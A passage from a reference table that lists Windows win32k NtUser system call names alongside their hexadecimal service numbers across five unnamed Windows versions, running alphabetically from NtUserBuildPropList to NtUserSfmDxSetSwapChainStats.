NtUserBuildPropList |  0x1228  |  0x1228  |  0x1278  |  0x1285  |  0x1285   
NtUserCalcMenuBar |  0x1098  |  0x1098  |  0x1099  |  0x1097  |  0x1097   
NtUserCalculatePopupWindowPosition |  |  |  |  0x1286  |  0x1286   
NtUserCallHwnd |  0x1112  |  0x1112  |  0x1113  |  0x110c  |  0x110c   
NtUserCallHwndLock |  0x1020  |  0x1020  |  0x1021  |  0x1021  |  0x1021   
NtUserCallHwndOpt |  0x1229  |  0x1229  |  0x1279  |  0x1287  |  0x1287   
NtUserCallHwndParam |  0x109f  |  0x109f  |  0x10a0  |  0x109e  |  0x109e   
NtUserCallHwndParamLock |  0x1026  |  0x1026  |  0x1027  |  0x1027  |  0x1027   
NtUserCallMsgFilter |  0x1014  |  0x1014  |  0x1015  |  0x1015  |  0x1015   
NtUserCallNextHookEx |  0x101d  |  0x101d  |  0x101e  |  0x101e  |  0x101e   
NtUserCallNoParam |  0x1005  |  0x1005  |  0x1005  |  0x1005  |  0x1005   
NtUserCallOneParam |  0x1002  |  0x1002  |  0x1002  |  0x1002  |  0x1002   
NtUserCallTwoParam |  0x1029  |  0x1029  |  0x102a  |  0x102a  |  0x102a   
NtUserChangeClipboardChain |  0x111f  |  0x111f  |  0x1120  |  0x1119  |  0x1119   
NtUserChangeDisplaySettings |  0x122a  |  0x122a  |  0x127a  |  0x1288  |  0x1288   
NtUserChangeWindowMessageFilterEx |  |  |  |  0x1289  |  0x1289   
NtUserCheckAccessForIntegrityLevel |  |  |  0x127b  |  0x128a  |  0x128a   
NtUserCheckDesktopByThreadId |  |  |  0x127c  |  0x128b  |  0x128b   
NtUserCheckImeHotKey |  0x1074  |  0x1074  |  0x1075  |  |   
NtUserCheckMenuItem |  0x1108  |  0x1108  |  0x1109  |  0x1103  |  0x1103   
NtUserCheckWindowThreadDesktop |  |  |  0x127d  |  0x128c  |  0x128c   
NtUserChildWindowFromPointEx |  0x122b  |  0x122b  |  0x127e  |  0x128d  |  0x128d   
NtUserClipCursor |  0x122c  |  0x122c  |  0x127f  |  0x128e  |  0x128e   
NtUserCloseClipboard |  0x10d2  |  0x10d2  |  0x10d3  |  0x10ce  |  0x10ce   
NtUserCloseDesktop |  0x10aa  |  0x10aa  |  0x10ab  |  0x10a6  |  0x10a6   
NtUserCloseWindowStation |  0x10b9  |  0x10b9  |  0x10ba  |  0x10b5  |  0x10b5   
NtUserConsoleControl |  0x10e3  |  0x10e3  |  0x10e4  |  0x10df  |  0x10df   
NtUserConvertMemHandle |  0x1102  |  0x1102  |  0x1103  |  0x10fd  |  0x10fd   
NtUserCopyAcceleratorTable |  0x102b  |  0x102b  |  0x102c  |  0x102c  |  0x102c   
NtUserCountClipboardFormats |  0x1115  |  0x1115  |  0x1116  |  0x110f  |  0x110f   
NtUserCreateAcceleratorTable |  0x10f5  |  0x10f5  |  0x10f6  |  0x10f1  |  0x10f1   
NtUserCreateCaret |  0x1031  |  0x1031  |  0x1032  |  0x1032  |  0x1032   
NtUserCreateDesktop |  0x122d  |  0x122d  |  |  |   
NtUserCreateDesktopEx |  |  |  0x1280  |  0x128f  |  0x128f   
NtUserCreateInputContext |  0x122e  |  0x122e  |  0x1281  |  0x1290  |  0x1290   
NtUserCreateLocalMemHandle |  0x10ef  |  0x10ef  |  0x10f0  |  0x10eb  |  0x10eb   
NtUserCreateWindowEx |  0x1077  |  0x1077  |  0x1078  |  0x1076  |  0x1076   
NtUserCreateWindowStation |  0x122f  |  0x122f  |  0x1282  |  0x1291  |  0x1291   
NtUserCtxDisplayIOCtl |  0x1230  |  0x1230  |  0x1283  |  0x1292  |  0x1292   
NtUserDdeGetQualityOfService |  0x1231  |  0x1231  |  |  |   
NtUserDdeInitialize |  0x1113  |  0x1113  |  0x1114  |  0x110d  |  0x110d   
NtUserDdeSetQualityOfService |  0x1232  |  0x1232  |  |  |   
NtUserDefSetText |  0x1080  |  0x1080  |  0x1081  |  0x107f  |  0x107f   
NtUserDeferWindowPos |  0x1052  |  0x1052  |  0x1053  |  0x1053  |  0x1053   
NtUserDeleteMenu |  0x10c0  |  0x10c0  |  0x10c1  |  0x10bc  |  0x10bc   
NtUserDestroyAcceleratorTable |  0x1103  |  0x1103  |  0x1104  |  0x10fe  |  0x10fe   
NtUserDestroyCursor |  0x109d  |  0x109d  |  0x109e  |  0x109c  |  0x109c   
NtUserDestroyInputContext |  0x1233  |  0x1233  |  0x1284  |  0x1293  |  0x1293   
NtUserDestroyMenu |  0x10e1  |  0x10e1  |  0x10e2  |  0x10dd  |  0x10dd   
NtUserDestroyWindow |  0x109e  |  0x109e  |  0x109f  |  0x109d  |  0x109d   
NtUserDisableThreadIme |  0x1234  |  0x1234  |  0x1285  |  0x1294  |  0x1294   
NtUserDispatchMessage |  0x1035  |  0x1035  |  0x1036  |  0x1036  |  0x1036   
NtUserDisplayConfigGetDeviceInfo |  |  |  |  0x1295  |  0x1295   
NtUserDisplayConfigSetDeviceInfo |  |  |  |  0x1296  |  0x1296   
NtUserDoSoundConnect |  |  |  0x1286  |  0x1297  |  0x1297   
NtUserDoSoundDisconnect |  |  |  0x1287  |  0x1298  |  0x1298   
NtUserDragDetect |  0x1235  |  0x1235  |  0x1288  |  0x1299  |  0x1299   
NtUserDragObject |  0x1236  |  0x1236  |  0x1289  |  0x129a  |  0x129a   
NtUserDrawAnimatedRects |  0x1237  |  0x1237  |  0x128a  |  0x129b  |  0x129b   
NtUserDrawCaption |  0x1238  |  0x1238  |  0x128b  |  0x129c  |  0x129c   
NtUserDrawCaptionTemp |  0x1239  |  0x1239  |  0x128c  |  0x129d  |  0x129d   
NtUserDrawIconEx |  0x105f  |  0x105f  |  0x1060  |  0x1060  |  0x1060   
NtUserDrawMenuBarTemp |  0x123a  |  0x123a  |  0x128d  |  0x129e  |  0x129e   
NtUserDwmGetDxRgn |  |  |  0x128e  |  |   
NtUserDwmHintDxUpdate |  |  |  0x128f  |  |   
NtUserDwmStartRedirection |  |  |  0x1290  |  0x129f  |  0x129f   
NtUserDwmStopRedirection |  |  |  0x1291  |  0x12a0  |  0x12a0   
NtUserEmptyClipboard |  0x10fc  |  0x10fc  |  0x10fd  |  0x10f8  |  0x10f8   
NtUserEnableMenuItem |  0x10d6  |  0x10d6  |  0x10d7  |  0x10d2  |  0x10d2   
NtUserEnableScrollBar |  0x10bb  |  0x10bb  |  0x10bc  |  0x10b7  |  0x10b7   
NtUserEndDeferWindowPosEx |  0x1025  |  0x1025  |  0x1026  |  0x1026  |  0x1026   
NtUserEndMenu |  0x123b  |  0x123b  |  0x1292  |  0x12a1  |  0x12a1   
NtUserEndPaint |  0x1018  |  0x1018  |  0x1019  |  0x1019  |  0x1019   
NtUserEndTouchOperation |  |  |  |  0x12a2  |  0x12a2   
NtUserEnumDisplayDevices |  0x10fb  |  0x10fb  |  0x10fc  |  0x10f7  |  0x10f7   
NtUserEnumDisplayMonitors |  0x1049  |  0x1049  |  0x104a  |  0x104a  |  0x104a   
NtUserEnumDisplaySettings |  0x111a  |  0x111a  |  0x111b  |  0x1114  |  0x1114   
NtUserEvent |  0x123c  |  0x123c  |  0x1293  |  0x12a3  |  0x12a3   
NtUserExcludeUpdateRgn |  0x104f  |  0x104f  |  0x1050  |  0x1050  |  0x1050   
NtUserFillWindow |  0x108a  |  0x108a  |  0x108b  |  0x1089  |  0x1089   
NtUserFindExistingCursorIcon |  0x103d  |  0x103d  |  0x103e  |  0x103e  |  0x103e   
NtUserFindWindowEx |  0x106e  |  0x106e  |  0x106f  |  0x106e  |  0x106e   
NtUserFlashWindowEx |  0x123d  |  0x123d  |  0x1294  |  0x12a4  |  0x12a4   
NtUserFrostCrashedWindow |  |  |  0x1295  |  0x12a5  |  0x12a5   
NtUserGetAltTabInfo |  0x10f7  |  0x10f7  |  0x10f8  |  0x10f3  |  0x10f3   
NtUserGetAncestor |  0x10b6  |  0x10b6  |  0x10b7  |  0x10b2  |  0x10b2   
NtUserGetAppImeLevel |  0x123e  |  0x123e  |  0x1296  |  0x12a6  |  0x12a6   
NtUserGetAsyncKeyState |  0x1043  |  0x1043  |  0x1044  |  0x1044  |  0x1044   
NtUserGetAtomName |  0x10ad  |  0x10ad  |  0x10ae  |  0x10a9  |  0x10a9   
NtUserGetCPD |  0x1044  |  0x1044  |  0x1045  |  0x1045  |  0x1045   
NtUserGetCaretBlinkTime |  0x10f8  |  0x10f8  |  0x10f9  |  0x10f4  |  0x10f4   
NtUserGetCaretPos |  0x123f  |  0x123f  |  0x1297  |  0x12a7  |  0x12a7   
NtUserGetClassInfoEx |  0x10bd  |  0x10bd  |  0x10be  |  0x10b9  |  0x10b9   
NtUserGetClassName |  0x107c  |  0x107c  |  0x107d  |  0x107b  |  0x107b   
NtUserGetClipCursor |  0x1240  |  0x1240  |  0x1298  |  0x12a8  |  0x12a8   
NtUserGetClipboardData |  0x10fd  |  0x10fd  |  0x10fe  |  0x10f9  |  0x10f9   
NtUserGetClipboardFormatName |  0x10ed  |  0x10ed  |  0x10ee  |  0x10e9  |  0x10e9   
NtUserGetClipboardOwner |  0x10cd  |  0x10cd  |  0x10ce  |  0x10c9  |  0x10c9   
NtUserGetClipboardSequenceNumber |  0x1055  |  0x1055  |  0x1056  |  0x1056  |  0x1056   
NtUserGetClipboardViewer |  0x1241  |  0x1241  |  0x1299  |  0x12a9  |  0x12a9   
NtUserGetComboBoxInfo |  0x1242  |  0x1242  |  0x129a  |  0x12aa  |  0x12aa   
NtUserGetControlBrush |  0x107b  |  0x107b  |  0x107c  |  0x107a  |  0x107a   
NtUserGetControlColor |  0x10e7  |  0x10e7  |  0x10e8  |  0x10e3  |  0x10e3   
NtUserGetCursorFrameInfo |  0x10f6  |  0x10f6  |  0x10f7  |  0x10f2  |  0x10f2   
NtUserGetCursorInfo |  0x1243  |  0x1243  |  0x129b  |  0x12ab  |  0x12ab   
NtUserGetDC |  0x100a  |  0x100a  |  0x100a  |  0x100a  |  0x100a   
NtUserGetDCEx |  0x1093  |  0x1093  |  0x1094  |  0x1092  |  0x1092   
NtUserGetDisplayConfigBufferSizes |  |  |  |  0x12ac  |  0x12ac   
NtUserGetDoubleClickTime |  0x10ba  |  0x10ba  |  0x10bb  |  0x10b6  |  0x10b6   
NtUserGetForegroundWindow |  0x103b  |  0x103b  |  0x103c  |  0x103c  |  0x103c   
NtUserGetGUIThreadInfo |  0x1104  |  0x1104  |  0x1105  |  0x10ff  |  0x10ff   
NtUserGetGestureConfig |  |  |  |  0x12ad  |  0x12ad   
NtUserGetGestureExtArgs |  |  |  |  0x12ae  |  0x12ae   
NtUserGetGestureInfo |  |  |  |  0x12af  |  0x12af   
NtUserGetGuiResources |  0x1244  |  0x1244  |  0x129c  |  0x12b0  |  0x12b0   
NtUserGetIconInfo |  0x104e  |  0x104e  |  0x104f  |  0x104f  |  0x104f   
NtUserGetIconSize |  0x1089  |  0x1089  |  0x108a  |  0x1088  |  0x1088   
NtUserGetImeHotKey |  0x1245  |  0x1245  |  0x129d  |  0x12b1  |  0x12b1   
NtUserGetImeInfoEx |  0x1246  |  0x1246  |  0x129e  |  0x12b2  |  0x12b2   
NtUserGetInputLocaleInfo |  |  |  |  0x12b3  |  0x12b3   
NtUserGetInternalWindowPos |  0x1247  |  0x1247  |  0x129f  |  0x12b4  |  0x12b4   
NtUserGetKeyNameText |  0x1248  |  0x1248  |  0x12a0  |  0x12b5  |  0x12b5   
NtUserGetKeyState |  0x1003  |  0x1003  |  0x1003  |  0x1003  |  0x1003   
NtUserGetKeyboardLayoutList |  0x1058  |  0x1058  |  0x1059  |  0x1059  |  0x1059   
NtUserGetKeyboardLayoutName |  0x1249  |  0x1249  |  0x12a1  |  0x12b6  |  0x12b6   
NtUserGetKeyboardState |  0x1079  |  0x1079  |  0x107a  |  0x1078  |  0x1078   
NtUserGetLayeredWindowAttributes |  0x124a  |  0x124a  |  0x12a2  |  0x12b7  |  0x12b7   
NtUserGetListBoxInfo |  0x124b  |  0x124b  |  0x12a3  |  0x12b8  |  0x12b8   
NtUserGetMenuBarInfo |  0x10c5  |  0x10c5  |  0x10c6  |  0x10c1  |  0x10c1   
NtUserGetMenuIndex |  0x124c  |  0x124c  |  0x12a4  |  0x12b9  |  0x12b9   
NtUserGetMenuItemRect |  0x124d  |  0x124d  |  0x12a5  |  0x12ba  |  0x12ba   
NtUserGetMessage |  0x1006  |  0x1006  |  0x1006  |  0x1006  |  0x1006   
NtUserGetMouseMovePointsEx |  0x124e  |  0x124e  |  0x12a6  |  0x12bb  |  0x12bb   
NtUserGetObjectInformation |  0x106b  |  0x106b  |  0x106c  |  0x106c  |  0x106c   
NtUserGetOpenClipboardWindow |  0x10dc  |  0x10dc  |  0x10dd  |  0x10d8  |  0x10d8   
NtUserGetPriorityClipboardFormat |  0x124f  |  0x124f  |  0x12a7  |  0x12bc  |  0x12bc   
NtUserGetProcessWindowStation |  0x1021  |  0x1021  |  0x1022  |  0x1022  |  0x1022   
NtUserGetProp |  |  |  0x100e  |  0x100e  |  0x100e   
NtUserGetRawInputBuffer |  0x1250  |  0x1250  |  0x12a8  |  0x12bd  |  0x12bd   
NtUserGetRawInputData |  0x1251  |  0x1251  |  0x12a9  |  0x12be  |  0x12be   
NtUserGetRawInputDeviceInfo |  0x1252  |  0x1252  |  0x12aa  |  0x12bf  |  0x12bf   
NtUserGetRawInputDeviceList |  0x1253  |  0x1253  |  0x12ab  |  0x12c0  |  0x12c0   
NtUserGetRegisteredRawInputDevices |  0x1254  |  0x1254  |  0x12ac  |  0x12c1  |  0x12c1   
NtUserGetScrollBarInfo |  0x1094  |  0x1094  |  0x1095  |  0x1093  |  0x1093   
NtUserGetSystemMenu |  0x1060  |  0x1060  |  0x1061  |  0x1061  |  0x1061   
NtUserGetThreadDesktop |  0x1084  |  0x1084  |  0x1085  |  0x1083  |  0x1083   
NtUserGetThreadState |  0x1000  |  0x1000  |  0x1000  |  0x1000  |  0x1000   
NtUserGetTitleBarInfo |  0x1090  |  0x1090  |  0x1091  |  0x108f  |  0x108f   
NtUserGetTopLevelWindow |  |  |  |  0x12c2  |  0x12c2   
NtUserGetTouchInputInfo |  |  |  |  0x12c3  |  0x12c3   
NtUserGetUpdateRect |  0x1053  |  0x1053  |  0x1054  |  0x1054  |  0x1054   
NtUserGetUpdateRgn |  0x1087  |  0x1087  |  0x1088  |  0x1086  |  0x1086   
NtUserGetUpdatedClipboardFormats |  |  |  0x12ad  |  0x12c4  |  0x12c4   
NtUserGetWOWClass |  0x1255  |  0x1255  |  0x12ae  |  0x12c5  |  0x12c5   
NtUserGetWindowCompositionAttribute |  |  |  |  0x12c6  |  0x12c6   
NtUserGetWindowCompositionInfo |  |  |  |  0x12c7  |  0x12c7   
NtUserGetWindowDC |  0x1063  |  0x1063  |  0x1064  |  0x1064  |  0x1064   
NtUserGetWindowDisplayAffinity |  |  |  |  0x12c8  |  0x12c8   
NtUserGetWindowMinimizeRect |  |  |  0x12af  |  0x12c9  |  0x12c9   
NtUserGetWindowPlacement |  0x10d9  |  0x10d9  |  0x10da  |  0x10d5  |  0x10d5   
NtUserGetWindowRgnEx |  |  |  0x12b0  |  0x12ca  |  0x12ca   
NtUserGhostWindowFromHungWindow |  |  |  0x12b1  |  0x12cb  |  0x12cb   
NtUserHardErrorControl |  0x1256  |  0x1256  |  0x12b2  |  0x12cc  |  0x12cc   
NtUserHideCaret |  0x101e  |  0x101e  |  0x101f  |  0x101f  |  0x101f   
NtUserHiliteMenuItem |  0x1257  |  0x1257  |  0x12b3  |  0x12cd  |  0x12cd   
NtUserHungWindowFromGhostWindow |  |  |  0x12b4  |  0x12ce  |  0x12ce   
NtUserHwndQueryRedirectionInfo |  |  |  |  0x12cf  |  0x12cf   
NtUserHwndSetRedirectionInfo |  |  |  |  0x12d0  |  0x12d0   
NtUserImpersonateDdeClientWindow |  0x1258  |  0x1258  |  0x12b5  |  0x12d1  |  0x12d1   
NtUserInitTask |  0x1259  |  0x1259  |  0x12b6  |  0x12d2  |  0x12d2   
NtUserInitialize |  0x125a  |  0x125a  |  0x12b7  |  0x12d3  |  0x12d3   
NtUserInitializeClientPfnArrays |  0x125b  |  0x125b  |  0x12b8  |  0x12d4  |  0x12d4   
NtUserInjectGesture |  |  |  |  0x12d5  |  0x12d5   
NtUserInternalGetWindowIcon |  |  |  0x12b9  |  0x12d6  |  0x12d6   
NtUserInternalGetWindowText |  0x1062  |  0x1062  |  0x1063  |  0x1063  |  0x1063   
NtUserInvalidateRect |  0x1004  |  0x1004  |  0x1004  |  0x1004  |  0x1004   
NtUserInvalidateRgn |  0x10cc  |  0x10cc  |  0x10cd  |  0x10c8  |  0x10c8   
NtUserIsClipboardFormatAvailable |  0x102e  |  0x102e  |  0x102f  |  0x102f  |  0x102f   
NtUserIsTopLevelWindow |  |  |  |  0x12d7  |  0x12d7   
NtUserIsTouchWindow |  |  |  |  0x12d8  |  0x12d8   
NtUserKillTimer |  0x101a  |  0x101a  |  0x101b  |  0x101b  |  0x101b   
NtUserLoadKeyboardLayoutEx |  0x125c  |  0x125c  |  0x12ba  |  0x12d9  |  0x12d9   
NtUserLockWindowStation |  0x125d  |  0x125d  |  0x12bb  |  0x12da  |  0x12da   
NtUserLockWindowUpdate |  0x110c  |  0x110c  |  0x110d  |  0x1106  |  0x1106   
NtUserLockWorkStation |  0x125e  |  0x125e  |  0x12bc  |  0x12db  |  0x12db   
NtUserLogicalToPhysicalPoint |  |  |  0x12bd  |  0x12dc  |  0x12dc   
NtUserMNDragLeave |  0x125f  |  0x125f  |  0x12be  |  0x12dd  |  0x12dd   
NtUserMNDragOver |  0x1260  |  0x1260  |  0x12bf  |  0x12de  |  0x12de   
NtUserMagControl |  |  |  |  0x12df  |  0x12df   
NtUserMagGetContextInformation |  |  |  |  0x12e0  |  0x12e0   
NtUserMagSetContextInformation |  |  |  |  0x12e1  |  0x12e1   
NtUserManageGestureHandlerWindow |  |  |  |  0x12e2  |  0x12e2   
NtUserMapVirtualKeyEx |  0x105a  |  0x105a  |  0x105b  |  0x105b  |  0x105b   
NtUserMenuItemFromPoint |  0x1261  |  0x1261  |  0x12c0  |  0x12e3  |  0x12e3   
NtUserMessageCall |  0x1007  |  0x1007  |  0x1007  |  0x1007  |  0x1007   
NtUserMinMaximize |  0x1262  |  0x1262  |  0x12c1  |  0x12e4  |  0x12e4   
NtUserModifyUserStartupInfoFlags |  0x1114  |  0x1114  |  0x1115  |  0x110e  |  0x110e   
NtUserModifyWindowTouchCapability |  |  |  |  0x12e5  |  0x12e5   
NtUserMoveWindow |  0x105d  |  0x105d  |  0x105e  |  0x105e  |  0x105e   
NtUserNotifyIMEStatus |  0x1263  |  0x1263  |  0x12c2  |  0x12e6  |  0x12e6   
NtUserNotifyProcessCreate |  0x108e  |  0x108e  |  0x108f  |  0x108d  |  0x108d   
NtUserNotifyWinEvent |  0x102c  |  0x102c  |  0x102d  |  0x102d  |  0x102d   
NtUserOpenClipboard |  0x10d3  |  0x10d3  |  0x10d4  |  0x10cf  |  0x10cf   
NtUserOpenDesktop |  0x10ab  |  0x10ab  |  0x10ac  |  0x10a7  |  0x10a7   
NtUserOpenInputDesktop |  0x1264  |  0x1264  |  0x12c3  |  0x12e7  |  0x12e7   
NtUserOpenThreadDesktop |  |  |  0x12c4  |  0x12e8  |  0x12e8   
NtUserOpenWindowStation |  0x10a1  |  0x10a1  |  0x10a2  |  0x10a0  |  0x10a0   
NtUserPaintDesktop |  0x111b  |  0x111b  |  0x111c  |  0x1115  |  0x1115   
NtUserPaintMenuBar |  0x10f2  |  0x10f2  |  0x10f3  |  0x10ee  |  0x10ee   
NtUserPaintMonitor |  |  |  0x12c5  |  0x12e9  |  0x12e9   
NtUserPeekMessage |  0x1001  |  0x1001  |  0x1001  |  0x1001  |  0x1001   
NtUserPhysicalToLogicalPoint |  |  |  0x12c6  |  0x12ea  |  0x12ea   
NtUserPostMessage |  0x100e  |  0x100e  |  0x100f  |  0x100f  |  0x100f   
NtUserPostThreadMessage |  0x105e  |  0x105e  |  0x105f  |  0x105f  |  0x105f   
NtUserPrintWindow |  0x1265  |  0x1265  |  0x12c7  |  0x12eb  |  0x12eb   
NtUserProcessConnect |  0x10fa  |  0x10fa  |  0x10fb  |  0x10f6  |  0x10f6   
NtUserQueryDisplayConfig |  |  |  |  0x12ec  |  0x12ec   
NtUserQueryInformationThread |  0x1266  |  0x1266  |  0x12c8  |  0x12ed  |  0x12ed   
NtUserQueryInputContext |  0x1267  |  0x1267  |  0x12c9  |  0x12ee  |  0x12ee   
NtUserQuerySendMessage |  0x1268  |  0x1268  |  0x12ca  |  0x12ef  |  0x12ef   
NtUserQueryWindow |  0x100f  |  0x100f  |  0x1010  |  0x1010  |  0x1010   
NtUserRealChildWindowFromPoint |  0x1269  |  0x1269  |  0x12cb  |  0x12f0  |  0x12f0   
NtUserRealInternalGetMessage |  0x10ee  |  0x10ee  |  0x10ef  |  0x10ea  |  0x10ea   
NtUserRealWaitMessageEx |  0x126a  |  0x126a  |  0x12cc  |  0x12f1  |  0x12f1   
NtUserRedrawWindow |  0x1012  |  0x1012  |  0x1013  |  0x1013  |  0x1013   
NtUserRegisterClassExWOW |  0x10b4  |  0x10b4  |  0x10b5  |  0x10b0  |  0x10b0   
NtUserRegisterErrorReportingDialog |  |  |  0x12cd  |  0x12f2  |  0x12f2   
NtUserRegisterHotKey |  0x126b  |  0x126b  |  0x12ce  |  0x12f3  |  0x12f3   
NtUserRegisterRawInputDevices |  0x126c  |  0x126c  |  0x12cf  |  0x12f4  |  0x12f4   
NtUserRegisterServicesProcess |  |  |  |  0x12f5  |  0x12f5   
NtUserRegisterSessionPort |  |  |  0x12d0  |  0x12f6  |  0x12f6   
NtUserRegisterTasklist |  0x126d  |  0x126d  |  0x12d1  |  0x12f7  |  0x12f7   
NtUserRegisterUserApiHook |  0x126e  |  0x126e  |  0x12d2  |  0x12f8  |  0x12f8   
NtUserRegisterWindowMessage |  0x1036  |  0x1036  |  0x1037  |  0x1037  |  0x1037   
NtUserRemoteConnect |  0x126f  |  0x126f  |  0x12d3  |  0x12f9  |  0x12f9   
NtUserRemoteRedrawRectangle |  0x1270  |  0x1270  |  0x12d4  |  0x12fa  |  0x12fa   
NtUserRemoteRedrawScreen |  0x1271  |  0x1271  |  0x12d5  |  0x12fb  |  0x12fb   
NtUserRemoteStopScreenUpdates |  0x1272  |  0x1272  |  0x12d6  |  0x12fc  |  0x12fc   
NtUserRemoveClipboardFormatListener |  |  |  0x12d7  |  0x12fd  |  0x12fd   
NtUserRemoveMenu |  0x10fe  |  0x10fe  |  0x10ff  |  0x10fa  |  0x10fa   
NtUserRemoveProp |  0x1045  |  0x1045  |  0x1046  |  0x1046  |  0x1046   
NtUserResolveDesktop |  0x1120  |  0x1120  |  0x1121  |  |   
NtUserResolveDesktopForWOW |  0x1273  |  0x1273  |  0x12d8  |  0x12fe  |  0x12fe   
NtUserSBGetParms |  0x104d  |  0x104d  |  0x104e  |  0x104e  |  0x104e   
NtUserScrollDC |  0x106a  |  0x106a  |  0x106b  |  0x106b  |  0x106b   
NtUserScrollWindowEx |  0x10c2  |  0x10c2  |  0x10c3  |  0x10be  |  0x10be   
NtUserSelectPalette |  0x101c  |  0x101c  |  0x101d  |  0x101d  |  0x101d   
NtUserSendInput |  0x1083  |  0x1083  |  0x1084  |  0x1082  |  0x1082   
NtUserSendTouchInput |  |  |  |  0x12ff  |  0x12ff   
NtUserSetActiveWindow |  0x10e4  |  0x10e4  |  0x10e5  |  0x10e0  |  0x10e0   
NtUserSetAppImeLevel |  0x1274  |  0x1274  |  0x12d9  |  0x1300  |  0x1300   
NtUserSetCapture |  0x1048  |  0x1048  |  0x1049  |  0x1049  |  0x1049   
NtUserSetChildWindowNoActivate |  |  |  |  0x1301  |  0x1301   
NtUserSetClassLong |  0x10c4  |  0x10c4  |  0x10c5  |  0x10c0  |  0x10c0   
NtUserSetClassLongPtr |  0x1297  |  0x1297  |  0x1304  |  0x1339  |  0x1339   
NtUserSetClassWord |  0x1275  |  0x1275  |  0x12da  |  0x1302  |  0x1302   
NtUserSetClipboardData |  0x10d5  |  0x10d5  |  0x10d6  |  0x10d1  |  0x10d1   
NtUserSetClipboardViewer |  0x1121  |  0x1121  |  0x1122  |  0x111a  |  0x111a   
NtUserSetConsoleReserveKeys |  0x1123  |  0x1123  |  0x1124  |  |   
NtUserSetCursor |  0x1019  |  0x1019  |  0x101a  |  0x101a  |  0x101a   
NtUserSetCursorContents |  0x1276  |  0x1276  |  0x12db  |  0x1303  |  0x1303   
NtUserSetCursorIconData |  0x10a8  |  0x10a8  |  0x10a9  |  0x10a4  |  0x10a4   
NtUserSetDisplayConfig |  |  |  |  0x1304  |  0x1304   
NtUserSetFocus |  0x1050  |  0x1050  |  0x1051  |  0x1051  |  0x1051   
NtUserSetGestureConfig |  |  |  |  0x1305  |  0x1305   
NtUserSetImeHotKey |  0x1277  |  0x1277  |  0x12dc  |  0x1306  |  0x1306   
NtUserSetImeInfoEx |  0x1278  |  0x1278  |  0x12dd  |  0x1307  |  0x1307   
NtUserSetImeOwnerWindow |  0x1279  |  0x1279  |  0x12de  |  0x1308  |  0x1308   
NtUserSetInformationProcess |  0x1100  |  0x1100  |  0x1101  |  |   
NtUserSetInformationThread |  0x10e5  |  0x10e5  |  0x10e6  |  0x10e1  |  0x10e1   
NtUserSetInternalWindowPos |  0x127a  |  0x127a  |  0x12df  |  0x1309  |  0x1309   
NtUserSetKeyboardState |  0x10f3  |  0x10f3  |  0x10f4  |  0x10ef  |  0x10ef   
NtUserSetLayeredWindowAttributes |  0x127b  |  0x127b  |  0x12e0  |  0x130a  |  0x130a   
NtUserSetLogonNotifyWindow |  0x127c  |  0x127c  |  |  |   
NtUserSetMenu |  0x127d  |  0x127d  |  0x12e1  |  0x130b  |  0x130b   
NtUserSetMenuContextHelpId |  0x127e  |  0x127e  |  0x12e2  |  0x130c  |  0x130c   
NtUserSetMenuDefaultItem |  0x1107  |  0x1107  |  0x1108  |  0x1102  |  0x1102   
NtUserSetMenuFlagRtoL |  0x127f  |  0x127f  |  0x12e3  |  0x130d  |  0x130d   
NtUserSetMirrorRendering |  |  |  0x12e4  |  0x130e  |  0x130e   
NtUserSetObjectInformation |  0x1280  |  0x1280  |  0x12e5  |  0x130f  |  0x130f   
NtUserSetParent |  0x1078  |  0x1078  |  0x1079  |  0x1077  |  0x1077   
NtUserSetProcessDPIAware |  |  |  0x12e6  |  0x1310  |  0x1310   
NtUserSetProcessWindowStation |  0x10ac  |  0x10ac  |  0x10ad  |  0x10a8  |  0x10a8   
NtUserSetProp |  0x104b  |  0x104b  |  0x104c  |  0x104c  |  0x104c   
NtUserSetScrollInfo |  0x102f  |  0x102f  |  0x1030  |  0x1030  |  0x1030   
NtUserSetShellWindowEx |  0x1281  |  0x1281  |  0x12e7  |  0x1311  |  0x1311   
NtUserSetSysColors |  0x1282  |  0x1282  |  0x12e8  |  0x1312  |  0x1312   
NtUserSetSystemCursor |  0x1283  |  0x1283  |  0x12e9  |  0x1313  |  0x1313   
NtUserSetSystemMenu |  0x110d  |  0x110d  |  0x110e  |  0x1107  |  0x1107   
NtUserSetSystemTimer |  0x1284  |  0x1284  |  0x12ea  |  0x1314  |  0x1314   
NtUserSetThreadDesktop |  0x1092  |  0x1092  |  0x1093  |  0x1091  |  0x1091   
NtUserSetThreadLayoutHandles |  0x1285  |  0x1285  |  0x12eb  |  0x1315  |  0x1315   
NtUserSetThreadState |  0x10dd  |  0x10dd  |  0x10de  |  0x10d9  |  0x10d9   
NtUserSetTimer |  0x1017  |  0x1017  |  0x1018  |  0x1018  |  0x1018   
NtUserSetWinEventHook |  0x1109  |  0x1109  |  0x110a  |  0x1104  |  0x1104   
NtUserSetWindowCompositionAttribute |  |  |  |  0x1316  |  0x1316   
NtUserSetWindowDisplayAffinity |  |  |  |  0x1317  |  0x1317   
NtUserSetWindowFNID |  0x1096  |  0x1096  |  0x1097  |  0x1095  |  0x1095   
NtUserSetWindowLong |  0x105b  |  0x105b  |  0x105c  |  0x105c  |  0x105c   
NtUserSetWindowLongPtr |  0x1298  |  0x1298  |  0x1306  |  0x133b  |  0x133b   
NtUserSetWindowPlacement |  0x10e6  |  0x10e6  |  0x10e7  |  0x10e2  |  0x10e2   
NtUserSetWindowPos |  0x1023  |  0x1023  |  0x1024  |  0x1024  |  0x1024   
NtUserSetWindowRgn |  0x10ce  |  0x10ce  |  0x10cf  |  0x10ca  |  0x10ca   
NtUserSetWindowRgnEx |  |  |  0x12ec  |  0x1318  |  0x1318   
NtUserSetWindowStationUser |  0x1286  |  0x1286  |  0x12ed  |  0x1319  |  0x1319   
NtUserSetWindowWord |  0x10ec  |  0x10ec  |  0x10ed  |  0x10e8  |  0x10e8   
NtUserSetWindowsHookAW |  0x1106  |  0x1106  |  0x1107  |  0x1101  |  0x1101   
NtUserSetWindowsHookEx |  0x108d  |  0x108d  |  0x108e  |  0x108c  |  0x108c   
NtUserSfmDestroyLogicalSurfaceBinding |  |  |  |  0x131a  |  0x131a   
NtUserSfmDxBindSwapChain |  |  |  |  0x131b  |  0x131b   
NtUserSfmDxGetSwapChainStats |  |  |  |  0x131c  |  0x131c   
NtUserSfmDxOpenSwapChain |  |  |  |  0x131d  |  0x131d   
NtUserSfmDxQuerySwapChainBindingStatus |  |  |  |  0x131e  |  0x131e   
NtUserSfmDxReleaseSwapChain |  |  |  |  0x131f  |  0x131f   
NtUserSfmDxReportPendingBindingsToDwm |  |  |  |  0x1320  |  0x1320   
NtUserSfmDxSetSwapChainBindingStatus |  |  |  |  0x1321  |  0x1321   
NtUserSfmDxSetSwapChainStats |  |  |  |  0x1322  |  0x1322   
